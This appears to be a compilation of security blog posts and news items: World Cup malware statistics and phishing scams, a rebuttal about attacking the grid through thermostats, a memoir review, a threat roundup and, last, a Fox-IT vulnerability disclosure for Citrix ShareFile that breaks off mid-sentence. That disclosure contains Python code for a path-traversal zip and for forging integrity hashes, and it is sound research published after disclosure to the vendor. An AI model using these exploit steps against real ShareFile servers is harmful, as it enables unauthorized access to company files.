France exit the stadium with a strong third-place position, feeling the non-stop press of attacks down their left flank. Or right? I don’t know, I play tennis. Regardless of football technique, they weigh in with 3,605,444 registered malware attacks, which is, frankly, a terrifying amount of footballs.

Germany, the 2014 World Cup Champion, is a football powerhouse you may have expected to be equally matched in malware threats. However, just like their mediocre start to World Cup play, they crawl into a “disappointing” sixth place at the half, with 1,987,421 threats counted since the beginning of the year. They complement their ability to knock England out of competitions with penalty kicks from the adware sector (608,816) and Trojans (342,156).

The nations with the fewest registered attacks in 2018 are Iceland (17,946 malware cases), Senegal (26,847), and Nigeria (97,938). The current European (football) Champion, Portugal, falls just outside of the top 10 biggest targets, with a total of 770,827 registered cases.

Among the 32 nations, adware, cryptomining, and Trojans were the dominant threats between January and June, with a significant increase in adware since the beginning of the second quarter.

Second half

What I’m mostly here for, though, is to see how England are faring in the football/malware stakes.

The answer is, of course, middle-of-the-table mediocrity, because the last time we won anything was 1966. Remember though, we’re in the land of the upside down, where being top of this chart, in particular, may not be a good thing.

While England isn’t stealthily evading all cybercriminals like Nigeria or Iceland, we still put in a reasonable performance at 20 out of 33, nestled between Saudi Arabia (430,953 attacks) and Croatia (381,364).

One of the biggest attackers aimed at England’s goal line are the ubiquitous cryptominers, with 214,615 threats registered in total, panning out to about 1,430 attacks a day. Trojans have another strong showing with 42,241 in total—that’s a daily tally of about 280. Finally, we have a rousing performance from adware, who aimed 34,495 total threats at England at a pace of about 229 per day.

I’m guessing we’re still going out about five nil to Brazil, though.

Extra time

But what regular gameplay doesn’t cover are the number of social engineering tactics deployed to countries participating in the World Cup (and others besides). Events garnering global attention also find what they don’t seek—foul play.

There have been some clever football-themed scams over the years, and it’s possible some of these may be brought out to score a last-minute goal for cybercrime. Let’s take a look at some of the scams of World Cups past and how you can defend against them.

Videogame-themed phishing

We observed a number of scams released during the last World Cup, many of which used a gaming theme as they rode on the coattails of the enormously successful FIFA Football titles produced by EA. In 2018, football games are still incredibly popular, and it’s World Cup season once again.

One such gaming scheme used social media accounts offering up football freebies in return for logging into third-party websites. Here’s a fake EA account on Instagram:

Instagram phishing

Click to enlarge

Here’s the final destination, a phishing page harvesting gaming accounts:

fake points

Click to enlarge

A result for phony streaming

Fake football match streams are always popular, and we saw a wave of them at the last World Cup, the majority of which redirected to surveys and other assorted nonsense.

fake streams

Click to enlarge

A dangerous sliding tackle (into your DMs)

In 2014, we also saw a novel social engineering technique used, where fake support accounts dropped themselves into chats between customers and verified support channels, then directed victims to phishing pages.

fake chats

Click to enlarge

In this case, it was a phish for the Origin gaming platform:

origin phish

Click to enlarge

While the above was a fairly generic phish attack, many were specifically pinned around World Cup imagery and gaming, like this one:

fake world cup account

Click to enlarge

Phishing mails pipped at the post

Another common tactic come World Cup time: fake “You’re a winner!” emails claiming millions of dollars and free tickets are waiting in the wings. Here’s one example from the last World Cup:

fifa scam

Click to enlarge

Claiming to be the “FIFA Online Promotions Coordinator,” the sender requested the kind of personal information usually grabbed in the early stages of an advance fee fraud scam. This definitely wouldn’t result in free tickets, but it may well have resulted in a hat trick for enterprising scammers nabbing some easy cash.

Defensive strategy

To defend against malware threats and other scams around World Cup time, you should familiarize yourself with some of the common scam tactics being deployed. Dubious emails are already in circulation this year, and there’s still a few weeks left for malware miscreants to ruin your day.

Keep your security software and operating system up-to-date, steer clear of “too good to be true” offers, and you’ll have a safe and incident-free World Cup. While the players might enjoy a well-deserved break after the game has ended, in the realm of malware creation, the attackers are still playing long after the final whistle blows.

The post World Cup 2018: malware attacks gunning for goal appeared first on Malwarebytes Labs.

‘WannaCry hero’ faces more federal malware charges

Marcus Hutchins, the cybersecurity researcher credited with helping stop last year's WannaCry virus, is facing four new charges related to malware he allegedly created to steal financial information. Now, the FBI says Hutchins lied about creating the malware called Kronos, and that he conspired with others to promote it online, including via YouTube.

Source: US District Court Eastern District of Wisconsin

Repost: Hacking the power grid through air conditioners

This is a repost of a blog that Joe Marshall (@ImmortanJo3) and I wrote on February 22, 2016 and @da_667 posted to his blog (which is now defunct, but he has given me permission to post here).

It’s not that easy..

Ladies and gentlemen, I am proud to host another guest work on blindseeker. This article was a collaborative work between two gentlemen with a wealth of knowledge regarding ICS/SCADA systems, including security and operations on the US Electrical Grid.  Before we get started here, these professionals wish to present this caveat:

We stress that this article  relates to the U.S. grid and it’s customers – it is difficult for us to talk authoritatively about grids not here in North America (though there is certainly some uniformity in how power grids work). The threat of something like this might be more pronounced in Europe or other parts of the world,  and it’s not for us to say one way or another. Also, this article and its opinions are solely of its authors, and the alien overlords who telepathically command us.

So, without further adieu,  here ya go.
~DA_667

Recently, Wired.com produced an article “How to hack the power grid through home air conditioners”. The article attempts to paint a picture that the power grid is at threat if a malicious attacker can cycle a residential or commercial A/C unit via RF signals, it would cause an interruption to the power grid and affect service delivery and reliability (read: blackouts).

We question the feasibility of this as a viable means to affect the health of the U.S. electricity grid. But for us to explain that, we’re going to have to take a deep dive into how power is distributed to homes and businesses. Hopefully, at the end of this, you’ll agree with us and realize that while there are some serious threats to the power grid, this one might not be as bad as you think. To begin, let’s talk about Demand/Response.

Demand and Response: A Basic Primer

As a rule, it’s not very practical to store power on ye olde power grid. Unless you start putting together batteries the size of skyscrapers, there’s just no way to keep power stored for long periods of time. As a result, supply and demand are kept pretty darn close to each other. You produce just as much power as you need, and use as much as is being produced. Pretty simple concept, yeah?

Any number of situations can result in an increased demand for power. Let us imagine a simple scenario: A heat wave over a large geographic area is causing energy usage to ramp up  – after all, most energy consumption comes from homes and businesses keeping their places climate controlled (as well as other power-hungry devices, such as water heaters), because it’s no fun dealing with hot weather. Those kinds of energy demand spikes can be a problem for utilities and RTO/ISO’s (ISO is an Independent System Operator and an RTO is a Regional Transmission Organization[1]). During peak demand, the transmission and distribution grids can get heavily taxed, and that can affect power delivery and reliability.

Enter Demand/Response (Henceforth known as D/R) to the rescue! Utilities figured out early that it was easier to control the load on their grids rather than manage generation. Subsequently, all utilities have some kind of voluntary smart energy saving program, which allows a utility to control your thermostat and/or compressor in the event of a peak usage warning – compressors are notoriously power hungry, and having control over it can lessen the load on the grid. Typically this means that your utility installs a thermostat into your home, that can be remotely controlled via radio frequency. For the inconvenience of this, they cut you a break on the price of energy you pay year round, or during an actual D/R event.

This graph displays the amount of power produced versus the amount consumed over a 24 hour period. You see that green line there? That is the direct result of Demand/Response.

This graph displays the amount of power produced versus the amount consumed over a 24 hour period. You see that green line that represents a dip in consumption? That is the direct result of Demand/Response.

Technical details of D/R systems

Traditionally, most D/R systems worked over a radio waves, usually UHF/VHF RF. These systems are very similar to the one-way pager systems of the 90s .

State of the art, baby.

State of the art, baby.

The thermostats themselves tend to be very basic in both form and function. Once a D/R event is issued, somewhere a button is pushed in a control center, and your utility blasts out a one way signal to your thermostat to cycle off your A/C compressor. Not all systems are the same – some will give you control over your thermostat manually after a signal is sent – some will outright prevent you from managing your thermostat until they send out an all clear. It varies by ICS vendor and utility.

An example of a utility issued thermostat for D/R

An example of a utility issued thermostat for D/R

There are a lot of inherent problems with this pager-like system; Wired’s article notwithstanding. Utilities have no way of tracking whether or not the RF signal actually reached your thermostat. Maybe the thermostat isn’t on? Or perhaps the signal can’t reach certain homes?  Generally speaking, it’s just not terribly reliable. However, the idea is quantity over quality: if the utility sends out enough requests to their wireless thermostats, then some of them are bound to get the request and adjust the air conditioning units accordingly, achieving the goal of reduced load on the electrical grid. Since they’re audited by RTO/ISO’s for load management (read: keeping them honest), utilities have yearned for a better way to initiate and track an actual D/R event.

So, now that we have explained both what D/R is, and how it has worked traditionally, let’s talk about the attack.

The Attack

The supposition is this: By snooping RF commands sent via a cellular/RF network, an attacker can reverse the commands and send commands to a thermostat to cycle a compressor in the guise of a D/R event. With rapid, repeated cycling of load created by engaging a compressor via thermostat on a large scale, this would create an unbearable load on the local grid, causing outages on a large scale. With this attack , a bad guy could use power delivery as a weapon for any number of motives.

Where things get shaky is the implications as to what it means for for the distribution network that delivers power to said home/business. Could this destabilize a local grid, or larger distribution and transmission network? In short, we believe the answer is ‘no’. Why? A combination of factors make the likelihood of affecting the grid on any meaningful scale an unlikely possibility.

The Rebuttal

Here are some facts:

1. With a few notable exceptions, Demand/Response is voluntary. And for the right reasons – you might have vulnerable family and pets at home, and wouldn’t want them to endure high temperatures during a D/R event.You might operate a business that heavily relies upon climate control. These reasons (and others), might explain the somewhat tepid enrollment in D/R to begin with. In 2014, only 9.3 million out of 147,373,702 energy customers were enrolled in the entire country (that’s about 6.3%). It’s simple: If you aren’t enrolled in D/R and thus have a vulnerable thermostat, then this attack doesn’t apply to you. In aggregate this lessens any kind of perceivable risk to the grid.

2. Distribution transformers and feeders are designed to handle inrush current, which is the initial inrush of current when an electrical device is energized. When designing and maintaining a distribution network, utility engineers take into account the electrical load from every type of customer, from a small house to large box stores to hospitals and even large industrial customers. When a motor is started, the inrush or starting current can be 50 times larger than the normal running current.  Motors are everywhere in the average home: power tools, ceiling fans, refrigerators, washing machines, dryers, dishwashers, and the air conditioning system. The largest in the home is typically the air conditioner condenser motor, which can range from 1 to 5 horsepower in size. For example, a 5-ton ac unit can have 150 locked rotor amps (LRA) at 240 volts.

Now let’s imagine a situation. Let’s say that a distribution feeder serves 1000 customers. A squirrel causes a problem next to the substation and the feeder breaker trips, causing the 1000 customers to lose power. It’s a 95 degree August day, and everyone is running their air conditioners when the outage occurs. The squirrel is removed and the power is restored to the feeder. This instance is called cold-load pickup, where the inrush current is many times greater than the normal current on the feeder due the massive residential load, especially ac units, turning back on all at once. If the design of the feeder and its protection is not correct, then the feeder could trip back out again, and the customers would not be happy. This is why engineers account for cold load pickup in feeder design, especially in the Southern United States, where most homes have air conditioners.

ics-collab5

Greatest APT there ever was.

3. Many utilities are phasing out these antiquated RF-based D/R systems in favor of newer systems and protocols, such as zigbee or wifi-based D/R systems utilizing commercial off the shelf thermostats (such as google’s NEST and many others). These newer systems deliver both enhanced reliability and better metrics/reporting from these devices out in the field (i.e. in your home!). These new systems promise better reliability, control, and granularity. And as a nice bonus, these flavors of D/R aren’t vulnerable to the stated RF attack. As a caveat, however, there is no percentage breakdown in the the electric sector as to what competing systems are used (Traditional RF v. Zigbee v. Wi-fi). For the sake of simplicity, we will argue that certainly a small percentage of D/R systems do not utilize the traditional RF flavor of D/R, and that number is growing as the older systems are being phased out.

The newer, internet-enabled thermometers give customers the ability to adjust the temperature of their home from a smart phone app, and as this picture indicates, allows them to receive notifications for D/R events on their mobile devices.

The newer, internet-enabled thermometers give customers the ability to adjust the temperature of their home from a smart phone app, and as this picture indicates, allows them to receive notifications for D/R events on their mobile devices.

 

4. Even if you are actually enrolled in a D/R program, and even if they use a vulnerable RF based D/R, and even if their distribution grid design isn’t up to the task, there’s still the problem of actually getting the RF command to your thermostat. The authors will concede there are numerous ways for a bad actor to saturate an area with RF, but keep in mind – utilities have a very large and very expensive RF infrastructure – and still have no way to reliably ensure that RF signals sent to participating customers in a demand response system are being received (as mentioned above in “Technical Details of D/R systems”). We’re talking massive service areas here – for example, in Baltimore Maryland, the local utility, BG&E, has a service area of 2300 square miles, and still can’t ensure RF reception for reasons beyond their control. There are numerous complications with using the older RF systems, chief amongst them is that it’s one-way. The lack of return telemetry makes gauging the effectiveness of the system highly problematic. The advent and popularity of smart meters has helped utilities gauge program response, but doesn’t solve the problem if a thermostat isn’t switching when ordered to, and this happens more often than you would think. On the bright side, thermostat technology is changing [pdf] (see #3).

Attack Impact and Viability

We find that exploitation of RF signals sent to RF-enabled D/R systems is entirely plausible on a small scale; kudos to the researchers for discovering this weakness, and pointing it out. It is entirely possible for an attacker to replay commands to a D/R thermostat, to cause a compressor to cycle. If you live in home with a D/R thermostat or ac compressor switch, you have a right to feel a little concerned. If you have vulnerable pets or family members, it’s worth being aware that this could possibly affect your air conditioning. We would give you some hope, however, that this attack has a reasonably modest barrier of entry, and the solution would literally be as easy as switching out your thermostat if you suspect you are a victim. Keep in mind, this might unenroll you from any D/R program you are in, but it’s no fun having a heat stroke.

Sweet, merciful relief.

Sweet, merciful relief.

It’s worth noting that the old D/R system has been around for a long time. It perfectly fits the utility model of “If it’s not broken, don’t fix it”, the bane of all information security programs. With security researchers shining lights on antiquated and vulnerable ICS technologies, hopefully it can spur better security innovation in an industry that is loathe to change itself.

Edit: 2/26/2016 – [Removal of “Context Matters”] After some discussion, we have decided to remove a single paragraph here discussing the vetting and the quality of the Wired article referenced. The paragraph in question didn’t contribute to the discussion in a meaningful way. Considering how difficult information security is in general (ICS security in particular) we should be tearing down walls, instead of building them up.

Conclusion

We find that the attack based on snooping/replaying RF commands to a thermostat valid. There are no security checksums or validation of RF commands sent from most D/R systems to thermostats; They will respond to any properly formatted request as per design. A hat tip to the two security researchers who discovered this are in order. However, don’t buy into FUD. The real danger this vulnerability exposes is to homes and business owners who have vulnerable thermostats, who rely upon climate control. We find the threat to the stability of any actual grid not plausible.

This article was co-authored by @ImmortanJo3, team leader of Cisco Talos’ ICS security division, and @chrissistrunk, an ICS security professional for Mandiant. With some minor edits made by @DA_667.

The post Repost: Hacking the power grid through air conditioners appeared first on Liquidmatrix Security Digest.

How to Steal a Million: The Memoirs of a Russian Hacker

As a University researcher specializing in cybercrime, I've had the opportunity to watch the Russian carding market closely and write about it frequently on my blog "Cybercrime & Doing Time."  Sometimes this leads to interactions with the various criminals that I have written about, which was the case with Sergey.  I was surprised last January to be contacted and to learn that he had completed a ten year prison sentence and had written a book.   I have to say, I wasn't expecting much.  This was actually the third time a cybercriminal had tried to get my interest in a book they had written, and the first two were both horrible and self-promotional.  I agreed to read his first English draft, which he sent me in January 2017.

I was absolutely hooked from page 1.  As I have told dozens of friends since then, his story-telling vehicle is quite good.  The book starts with him already in prison, and in order to teach the reader about carding and cybercrime, a lawyer visits him periodically in prison, providing the perfect foil  needed to explain key concepts to the uninitiated, such as interrupting one of Sergey's stories to ask "Wait.  What is a white card?"
My copy of the book!

As someone who has studied cybercrime for more than 20 years, I was probably more excited than the average reader will be to see so many names and criminal forums and card shops that I recognized -- CarderPlanet, and card shop runners such as Vladislav Khorokhorin AKA BadB, Roman Vega AKA Boa, and data breach and hacking specialists like Albert Gonzalez and Vladimir Drinkman who served as the source of the cards that they were all selling.  These and many of the other characters in this book appeared regularly in this blog.  (A list is at the bottom of this article)

Whether these names are familiar to the reader or not, one can't help but be drawn into this story of intrigue, friendship, and deception as Pavlovich and his friends detect and respond to the various security techniques that shopkeepers, card issuers, and the law enforcement world are using to try to stop them.  Sergey shows how a criminal can rise quickly in the Russian cybercrime world by the face-to-face networking that a $100,000 per month income can provide, jet-setting the world with his fellow criminals and using business air travel, penthouse hotel suites, cocaine and women to loosen the lips of his peers so he can learn their secrets., but he also shows how quickly these business relationships can shatter in the face of law enforcement pressure.

The alternating chapters of the book serve as a stark reminder of where such life choices lead, as Sergey reveals the harsh realities of life in a Russian prison.  Even these are fascinating, as the smooth-talking criminal does his best to learn the social structure of Russian prison and find a safe place for himself on the inside.  The bone-crushing beatings, deprivation of food and privacy, and the fear of never knowing which inmate or prison guard will snap next in a way that could seriously harm or kill him is a constant reminder that eventually everyone gets caught and when they do, the consequences are extreme.

Sergey's original English manuscript has been greatly improved with the help of feedback from pre-readers and some great editors. After my original read, I told Sergey "I LOVE the story delivery mechanism, and there are fascinating stories here, but there are a few areas that really need some work."  It's clear that he took feedback like this seriously.  The new book, released in May 2018, is markedly improved without taking anything away from the brilliant story-telling of a fascinating criminal career ending with a harsh encounter with criminal justice.

A purchase link to get the book from Amazon: How to Steal a Million: The Memoirs of a Russian Hacker

The book was extremely revealing to me, helping me to understand just how closely linked the various Russian criminals are to each other, as well as revealing that some brilliant minds, trained in Computer Science and Engineering, and left morally adrift in a land where corruption is a way of life and with little chance of gainful employment, will apply those brilliant minds to stealing our money.

I seriously debated whether I should support this book.  Many so-called "reformed" criminals have reached out to me in the past, asking me to help them with a new career by meeting with them, recommending their services, or helping them find a job.  It is a moral dilemma.  Do I lend assistance to a many who stole millions of dollars from thousands of Americans?  Read the book.  To me, the value of this book is that it is the story of a criminal at the top of his game, betrayed by his colleagues and getting to face the reality of ten years in a Russian prison.  I think the book has value as a warning -- "a few months or even a couple years of the high life is not worth the price you will pay when it all comes crashing down."

Links to selected blog articles that feature Pavlovich's cast of characters:

May 12, 2008 TJX and Dave and Busters - Maksym Yastremskiy (Maksik) Aleksandr Suvorov (JonnyHell) and Albert Gonzales (Segvec) and their role in the TJX Data Breach.

August 5, 2008 TJX Reminder: We Will Arrest You and We Will Send You To Jail - some of the legal aftermath of the case above.

August 8, 2008 TJX: the San Diego Indictments where the US government indicts:
  • SERGEY ALEXANDROVICH PAVLOVICH, aka Panther, aka Diplomaticos, aka PoL1Ce Dog, aka Fallen Angel, aka Panther757
  • DZMITRY VALERYEVICH BURAK, aka Leon, aka Graph, aka Wolf
  • SERGEY VALERYEVICH STORCHAK, aka Fidel
and charges them with violation of "18 USC Section 1029(b)(2) Conspiracy to Traffic Unauthorized Access Devices"

May 9, 2013 ATM Cashers in 26 Countries Steal $40M talks about BadB's role in "Unlimited" ATM cash-out schemes, and his arrest in 2010 and sentencing to 88 months in 2013.

Jan 14, 2014 Target Breach Considered in Light of Drinkman/Gonzalez Data Breach Gang talked about Albert Gonzales, Vladimir Drinkman, and how there seemed to be such a strong pattern of behavior - a script if you will - to how criminals were conducting the major data breaches of that time.

Jan 27, 2014 Roman Vega (CarderPlanet's BOA) Finally Gets His Sentence addressed the plight of Roman Vega, who had been drifting around in the American criminal justice system, unsentenced, from 2003 until 2013! Dmitry Golubov AKA Script, the "godfather of CarderPlanet" is also discussed in this post.



Chinese spies linked to decade-long hacking campaign

China's long-running hacking efforts may be more extensive than first thought. Security researchers at ProtectWise's 401TRG team have determined that a long series of previously unconnected attacks are actually part of a concerted campaign by Chinese intelligence officials. Nicknamed the Winnti umbrella, the effort has been going on since "at least" 2009 and has struck game companies (like Nexon and Trion) and other tech-driven businesses to compromise political targets.

Via: Ars Technica

Source: 401TRG

Cyber Security Roundup for April 2018

The fallout from the Facebook privacy scandal rumbled on throughout April and culminated with the closure of the company at the centre of the scandal, Cambridge Analytica.
Ikea was forced to shut down its freelance labour marketplace app and website 'TaskRabbit' following a 'security incident'. Ikea advised users of TaskRabbit to change their credentials if they had used them on other sites, suggesting a significant database compromise.

TSB bosses came under fire after a botch upgraded to their online banking system, which meant the Spanished owned bank had to shut down their online banking facility, preventing usage by over 5 million TSB customers. Cybercriminals were quick to take advantage of TSB's woes.

Great Western Railway reset the passwords of more than million customer accounts following a breach by hackers, US Sun Trust reported an ex-employee stole 1.5 million bank client records, an NHS website was defaced by hackers, and US Saks, Lord & Taylor had 5 million payment cards stolen after a staff member was successfully phished by a hacker.

The UK National Cyber Security Centre (NCSC) blacklist China's state-owned firm ZTE, warning UK telecom providers usage of ZTE's equipment could pose a national security risk. Interestingly BT formed a research and development partnership with ZTE in 2011 and had distributed ZTE modems. The NCSC, along with the United States government, released statements accusing Russian of large-scale cyber-campaigns, aimed at compromising vast numbers of the Western-based network devices.

IBM released the 2018 X-Force Report, a comprehensive report which stated for the second year in a row that the financial services sector was the most targeted by cybercriminals, typically by sophisticated malware i.e. Zeus, TrickBot, Gootkit. NTT Security released their 2018 Global Threat Intelligence Report, which unsurprisingly confirmed that ransomware attacks had increased 350% last year.  

A concerning report by the EEF said UK manufacturer IT systems are often outdated and highly vulnerable to cyber threats, with nearly half of all UK manufacturers already had been the victim of cybercrime. An Electropages blog questioned whether the boom in public cloud service adoption opens to the door cybercriminals.

Finally, it was yet another frantic month of security updates, with critical patches released by Microsoft, Adobe, Apple, Intel, Juniper, Cisco, and Drupal.

NEWS
AWARENESS, EDUCATION AND THREAT INTELLIGENCE
REPORTS

Compromising Citrix ShareFile on-premise via 7 chained vulnerabilities

A while ago we investigated a setup of Citrix ShareFile with an on-premise StorageZone controller. ShareFile is a file sync and sharing solution aimed at enterprises. While there are versions of ShareFile that are fully managed in the cloud, Citrix offers a hybrid version where the data is stored on-premise via StorageZone controllers. This blog describes how Fox-IT identified several vulnerabilities, which together allowed any account to (from the internet) access any file stored within ShareFile. Fox-IT disclosed these vulnerabilities to Citrix, which mitigated them via updates to their cloud platform. The vulnerabilities identified were all present in the StorageZone controller component, and thus cloud-only deployments were not affected. According to Citrix, several fortune-500 enterprises and organisations in the government, tech, healthcare, banking and critical infrastructure sectors use ShareFile (either fully in the Cloud or with an on-premise component).

Sharefile

Gaining initial access

After mapping the application surface and the flows, we decided to investigate the upload flow and the connection between the cloud and on-premise components of ShareFile. There are two main ways to upload files to ShareFile: one based on HTML5 and one based on a Java Applet. In the following examples we are using the Java based uploader. All requests are configured to go through Burp, our go-to tool for assessing web applications.
When an upload is initialized, a request is posted to the ShareFile cloud component, which is hosted at name.sharefile.eu (where name is the name of the company using the solution):

Initialize upload

We can see the request contains information about the upload, among which is the filename, the size (in bytes), the tool used to upload (in this case the Java uploader) and whether we want to unzip the upload (more about that later). The response to this request is as follows:

Initialize upload response

In this response we see two different upload URLs. Both use the URL prefix (which is redacted here) that points to the address of the on-premise StorageZone controller. The cloud component thus generates a URL that is used to upload the files to the on-premise component.

The first URL is the ChunkUri, to which the individual chunks are uploaded. When the filetransfer is complete, the FinishUri is used to finalize the upload on the server. In both URLs we see the parameters that we submitted in the request such as the filename, file size, et cetera. It also contains an uploadid which is used to identify the upload. Lastly we see a h= parameter, followed by a base64 encoded hash. This hash is used to verify that the parameters in the URL have not been modified.

The unzip parameter immediately drew our attention. As visible in the screenshot below, the uploader offers the user the option to automatically extract archives (such as .zip files) when they are uploaded.

Extract feature

A common mistake made when extracting zip files is not correctly validating the path in the zip file. By using a relative path it may be possible to traverse to a different directory than intended by the script. This kind of vulnerability is known as a directory traversal or path traversal.

The following python code creates a special zip file called out.zip, which contains two files, one of which has a relative path.

import sys, zipfile
#the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
#the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'xxe_oob.xml'
#destination path of the file
zf.write(fname, '../../../../testbestand_fox.tmp')
#random extra file (not required)
#example: dd if=/dev/urandom of=test.file bs=1024 count=600
fname = 'test.file'
zf.write(fname, 'tfile')

When we upload this file to ShareFile, we get the following message:

ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\\company.internal\data\testbestand_fox.tmp' is denied.'

This indicates that the StorageZone controller attempted to extract our file to a directory for which we lacked permissions, but that we were able to successfully change the directory to which the file was extracted. This vulnerability can be used to write user controlled files to arbitrary directories, provided the StorageZone controller has privileges to write to those directories. Imagine the default extraction path would be c:\appdata\citrix\sharefile\temp\ and we want to write to c:\appdata\citrix\sharefile\storage\subdirectory\ we can add a file with the name ../storage/subdirectory/filename.txt which will then be written to the target directory. The ../ part indicates that the Operating System should go one directory higher in the directory tree and use the rest of the path from that location.

Vulnerability 1: Path traversal in archive extraction

From arbitrary write to arbitrary read

While the ability to write arbitrary files to locations within the storage directories is a high-risk vulnerability, the impact of this vulnerability depends on how the files on disk are used by the application and if there are sufficient integrity checks on those files. To determine the full impact of being able to write files to the disk we decided to look at the way the StorageZone controller works. There are three main folders in which interesting data is stored:

  • files
  • persistenstorage
  • tokens

The first folder, files, is used to store temporary data related to uploads. Files already uploaded to ShareFile are stored in the persistentstorage directory. Lastly the tokens folder contains data related to tokens which are used to control the downloads of files.

When a new upload was initialized, the URLs contained a parameter called uploadid. As the name already indicates this is the ID assigned to the upload, in this case it is rsu-2351e6ffe2fc462492d0501414479b95. In the files directory, there are folders for each upload matching with this ID.

In each of these folders there is a file called info.txt, which contains information about our upload:

Info.txt

In the info.txt file we see several parameters that we saw previously, such as the uploadid, the file name, the file size (13 bytes), as well as some parameters that are new. At the end, we see a 32 character long uppercase string, which hints at an integrity hash for the data.
We see two other IDs, fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 and fo9252b1-1f49-4024-aec4-6fe0c27ce1e6, which correspond with the file ID for the upload and folder ID to which the file is uploaded respectively.

After trying to figure out for a while what kind of hashing algorithm was used for the integrity check of this file, it turned out that it is a simple md5 hash of the rest of the data in the info.txt file. The twist here is that the data is encoded with UTF-16-LE, which is default for Unicode strings in Windows.

Armed with this knowledge we can write a simple python script which calculates the correct hash over a modified info.txt file and write this back to disk:

import md5
with open('info_modified.txt','r') as infile:
instr = infile.read().strip().split('|')
instr2 = u'|'.join(instr[:-1])
outhash = md5.new(instr2.encode('utf-16-le')).hexdigest().upper()
with open('info_out.txt','w') as outfile:
outfile.write('%s|%s' % (instr2, outhash))

Here we find our second vulnerability: the info.txt file is not verified for integrity using a secret only known by the application, but is only validated with an md5 hash against corruption. This gives an attacker that can write to the storage folders the possibility to alter the upload information.

Vulnerability 2: Integrity of data files (info.txt) not verified

Since our previous vulnerability enabled us to write files to arbitrary locations, we can upload our own info.txt and thus modify the upload information.
It turns out that when uploading data, the file ID fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 is used as temporary name for the file. The data that is uploaded is written to this file, and when the upload is finilized this file is added to the users ShareFile account. We are going to attempt another path traversal here. Using the script above, we modify the file ID to a different filename to attempt to extract a test file called secret.txt which we placed in the files directory (one directory above the regular location of the temporary file). The (somewhat redacted) info.txt then becomes:

modified info.txt

When we subsequently post to the upload-threaded-3.aspx page to finalize the upload, we are presented with the following descriptive error:

File size does not match

Apparently, the filesize of the secret.txt file we are trying to extract is 14 bytes instead of 13 as the modified info.txt indicated. We can upload a new info.txt file which does have the correct filesize, and the secret.txt file is succesfully added to our ShareFile account:

File extraction POC

And thus we’ve successfully exploited a second path traversal, which is in the info.txt file.

Vulnerability 3: Path traversal in info.txt data

By now we’ve turned our ability to write arbitrary files to the system into the ability to read arbitrary files, as long as we do know the filename. It should be noted that all the information in the info.txt file can be found by investigating traffic in the web interface, and thus an attacker does not need to have an info.txt file to perform this attack.

Investigating file downloads

So far, we’ve only looked at uploading new files. The downloading of files is also controlled by the ShareFile cloud component, which instructs the StorageZone controller to serve the frequested files. A typical download link looks as follows:

Download URL

Here we see the dt parameter which contains the download token. Additionally there is a h parameter which contains a HMAC of the rest of the URL, to prove to the StorageZone controller that we are authorized to download this file.

The information for the download token is stored in an XML file in the tokens directory. An example file is shown below:

<!--?xml version="1.0" encoding="utf-8"?--><!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
<ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
<DownloadTokenID>dt6bbd1e278a634e1bbde9b94ff8460b24</DownloadTokenID>
<RequestType>single</RequestType>
<BaseUrl>https://redacted.sf-api.eu/</BaseUrl>
<ErrorUrl>https://redacted.sf-api.eu//error.aspx?type=storagecenter-downloadprep</ErrorUrl>
<StorageBasePath>\\s3\sf-eu-1\;</StorageBasePath>
<BatchID>dt6bbd1e278a634e1bbde9b94ff8460b24</BatchID>
<ZipFileName>tfile</ZipFileName>
<UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
<Metadata>
<Item key="operatingsystem" value="Linux" />
</Metadata>
<IrmEnabled>false</IrmEnabled>
<IrmPolicyServerUrl />
<IrmAccessId />
<IrmAccessKey />
<Items>
<File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5f\0f\0f\fi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
</Items>
<Log>
<EventID>fif11465-ba81-8b77-7dd9-4256bc375017</EventID>
<UserID>c7add7af-91ac-4331-b48a-0aeed4a58687</UserID>
<OwnerID>c7add7af-91ac-4331-b48a-0aeed4a58687</OwnerID>
<AccountID>a4ea881a-a4d5-433a-fa44-41acd5ed5a5f</AccountID>
<UserEmailAddress>fox-it@redacted</UserEmailAddress>
<Name>tfile</Name>
<FileCount>1</FileCount>
<AdditionalInfo>fif11465-ba81-8b77-7dd9-4256bc375017</AdditionalInfo>
<FolderID>foh160ab-aa5a-4e43-96fd-e41caed36cea</FolderID>
<ParentID>foh160ab-aa5a-4e43-96fd-e41caed36cea</ParentID>
<Path>/root/a4ea881a-a4d5-433a-fa44-41acd5ed5a5f/foh160ab-aa5a-4e43-96fd-e41caed36cea</Path>
<IncrementDownloadCount>false</IncrementDownloadCount>
<ShareID />
</Log>
</ShareFileDownloadInfo>

Two things are of interest here. The first is the path property of the File element, which specifies which file the token is valid for. The path starts with the ID a4ea881a-a4d5-433a-fa44-41acd5ed5a5f which is the ShareFile AccountID, which is unique per ShareFile instance. Then the second ID fi0f0f2e_3477_4647_9cdd_e89758c21c37 is unique for the file (hence the fi prefix), with two 0f subdirectories for the first characters of the ID (presumably to prevent huge folder listings).

The second noteworthy point is the authSignature property on the ShareFileDownloadInfo element. This suggests that the XML is signed to ensure its authenticity, and to prevent malicious tokens from being downloaded.

At this point we started looking at the StorageZone controller software itself. Since it is a program written in .NET and running under IIS, it is trivial to decompile the binaries with toos such as JustDecompile. While we obtained the StorageZone controller binaries from the server the software was running on, Citrix also offers this component as a download on their website.

In the decompiled code, the functions responsible for verifying the token can quickly be found. The feature to have XML files with a signature is called AuthenticatedXml by Citrix. In the code we find that a static key is used to verify the integrity of the XML file (which is the same for all StorageZone controllers):

Static MAC secret

Vulnerability 4: Token XML files integrity integrity not verified

During our research we of course attempted to simply edit the XML file without changing the signature, and it turned out that it is not nessecary to calculate the signature as an attacker, since the application simply tells you what correct signature is if it doesn’t match:

Signature disclosure

Vulnerability 5: Debug information disclosure

Furthermore, when we looked at the code which calculates the signature, it turned out that the signature is calculated by prepending the secret to the data and calculating a sha1 hash over this. This makes the signature potentially vulnerable to a hash length extension attack, though we did not verify this in the time available.

Hashing of secret prepended

Even though we didn’t use it in the attack chain, it turned out that the XML files were also vulnerable to XML External Entity (XXE) injection:

